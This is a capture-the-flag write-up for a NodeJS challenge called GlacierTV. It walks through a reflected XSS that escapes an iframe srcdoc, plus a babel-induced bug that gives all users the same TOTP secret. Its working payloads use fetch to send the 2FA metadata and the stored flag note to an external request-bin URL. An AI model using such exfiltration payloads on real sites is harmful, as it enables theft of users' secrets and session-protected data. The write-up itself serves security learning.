GlacierTV was a NodeJS web application that embeds Youtube videos and users can store text notes. For added security there is a 2FA feature that can be used to protect stored notes.
The full source code, both for client and server, were provided.
Report feature and XSS
- Report feature takes all query search parameters (via
window.location.search
) and calls the following endpoint on server-sideapp.js
- Call to
await page.goto(uri);
smells like XSS
- Call to
const FLAG = process.env.FLAG || "gctf{dummy}";
app.post("/report", async (req, res) => {
try {
const path = req.body.path;
if(typeof path !== "string") return res.status(400).send("No path provided");
const uri = `http://localhost:8080/${path}`
const browser = await puppeteer.launch({
headless: "new",
args: ["--no-sandbox", "--disable-dev-shm-usage", "--disable-setuid-sandbox"],
});
const context = await browser.createIncognitoBrowserContext();
const page = await context.newPage();
await page.goto('http://localhost:8080/');
await page.waitForNavigation({
waitUntil: 'networkidle0',
});
await page.evaluate(async message => {
await fetch("/setup_2fa", {method: "POST"});
await fetch("/secret_note", {
method: "POST",
body: JSON.stringify({message}),
headers: {
"Content-Type": "application/json"
}
});
}, FLAG)
await page.goto(uri);
await sleep(5000);
await browser.close();
res.status(200).send("Thank you for your report. We will check it soon")
} catch(err) {
console.log(err)
res.status(400).send("Something went wrong! If you think this is an error on our site, contact an admin.")
}
})
- Goal:
- Extract flag during second user-controlled page load (i.e.
await page.goto(uri);
) from the note endpoint - where it was stored during first page load (and protected by TOTP 2FA).
- Extract flag during second user-controlled page load (i.e.
XSS injection
- Vulnerable function of client
index.js
performs string concatenation with query parameteruri
.
function loadFromQuery() {
const query = new URLSearchParams(window.location.search);
const source = query.get("source") || "youtube";
const uri = query.get("uri");
document.getElementById("searchInput").value = uri || "https://www.youtube.com/embed/dQw4w9WgXcQ?&autoplay=1";
if(!uri) return false;
updateSource(uri, source);
var ifconfig = {
pathname: `<iframe frameborder="0" width=950 height=570 src="${parseURI(uri)}"></iframe>`
}
document.getElementById("viewer").srcdoc = ifconfig.pathname;
return true;
}
- Only requirement is passing the sanity check in
parseURI
, i.e.
function parseURI(uri) {
const uriParts = new URL(uri);
if(uriParts.origin === "https://www.youtube.com")
return uri;
// If user does not provide a youtube uri, we take the default one.
return "https://www.youtube.com/embed/dQw4w9WgXcQ?&autoplay=1";
}
URL(uri)
does not care about trailing nonsensical input- PoC XSS
alert("hello!");
// => uri query param value:
https://www.youtube.com/embed/dQw4w9WgXcQ"></iframe> <script>alert("hello!");</script> <iframe width=400 height=300 src="https://example.org
Building blocks for accessing note
Persist Cookie
browser.cookies.get("connect.sid")
not working, Cookie ishttpOnly
- Not an issue, puppeteer behaves like a normal browser and uses persisted cookies across page loads
Retrieve note with 2FA token
- Example TOTP metadata with secret:
otpauth://totp/GlacierTV:2FA?issuer=GlacierTV&secret=DY74QIAVGG6YZVNYLPV7A65D7YKXGGW6FQ624WBOE2PJELEENAPQ&algorithm=SHA3-384&digits=9&period=43
- Server has endpoint for note retrieval, but not implemented in client
fetch(`/secret_note?token=<totp_token_here>`).then(res => res.json()).then(json => { console.log(json); });
- Use https://www.verifyr.com/en/otp/check#totp to generate TOTP token based on TOTP metadata
- Unusual and exostic parameters means import in common 2FA apps not supported
Side-stepping 2FA via broken babel patch
- Babel transpiles source JS into output JS, custom patch introduces strange behavior
- Built locally via node/npm
- Output JS for server at
src/build/app.js
and for client atsrc/public/assets/js/index.js
- Inspecting modified JS (after beautify)
- Global definition of TOTP metadate in
token
viavar token = typeof token !== 'undefined' ? token : (getTOTPSecretToken()); // ##################
- Endpoint for 2FA generation is meant to create new TOTP metadata for each call, but now broken due to babel patch
- Global definition of TOTP metadate in
function getTOTPSecretToken() {
token = typeof token !== 'undefined' ? token : (otpauth.Secret.fromHex(crypto.randomBytes(32).toString("hex")));
return token
}
// ...
app.post("/setup_2fa", (req, res) => {
var sessionId = typeof sessionId !== 'undefined' ? sessionId : (req.session.id);
if (Object.keys(totp_tokens).includes(sessionId)) return res.status(400).send("TOTP already registered for that session!");
var totp = typeof totp !== 'undefined' ? totp : (new otpauth.TOTP({
issuer: "GlacierTV",
label: "2FA",
algorithm: "SHA3-384",
digits: 9,
period: 43,
secret: getTOTPSecretToken()
}));
totp_tokens[sessionId] = totp;
res.json({
"totp": totp.toString()
})
});
getTOTPSecretToken
return sametoken
that was created in global init for all calls.
Game plan for stealing the flag
- Perform 2FA request without credentials (or server won’t provide TOTP metadata)
- JS payload for XSS that reports to Request bin:
fetch(`/setup_2fa`, { method: "POST", credentials: "omit" }).then(res => res.json()).then(json => { fetch(`https://enoer09o91ux.x.pipedream.net/?totp=${JSON.stringify(json)}`) });
// => uri query param value:
https://www.youtube.com/embed/dQw4w9WgXcQ"></iframe> <script>fetch(`/setup_2fa`, { method: "POST", credentials: "omit" }).then(res => res.json()).then(json => { fetch(`https://enoer09o91ux.x.pipedream.net/?totp=${JSON.stringify(json)}`) });</script> <iframe width=400 height=300 src="https://example.org
=> TOTP secret: GCDJCQ4BGU3SY2YQKPD666LPZTVHZN2TFWBCUX44S2QE4H4LEPEQ
- Extract TOTP secret and generate current token
- Done manually via https://www.verifyr.com/en/otp/check#totp
- Load flag from note and extract for profit
- JS payload for XSS that reports to Request bin:
fetch(`/secret_note?token=062279467`).then(res => res.json()).then(json => { fetch(`https://enoer09o91ux.x.pipedream.net/?flag=${JSON.stringify(json)}`); });
// => uri query param value:
https://www.youtube.com/embed/dQw4w9WgXcQ"></iframe> <script>fetch(`/secret_note?token=062279467`).then(res => res.json()).then(json => { fetch(`https://enoer09o91ux.x.pipedream.net/?flag=${JSON.stringify(json)}`); });</script> <iframe width=400 height=300 src="https://example.org
=> gctf{b3_CaR3fUl_WiTh_JavAScR1pT_C0mP1L3rS_!!1}
- Trivia: Step 1 was pointless, TOTP secret turned out to be identical to the one received by all external users :/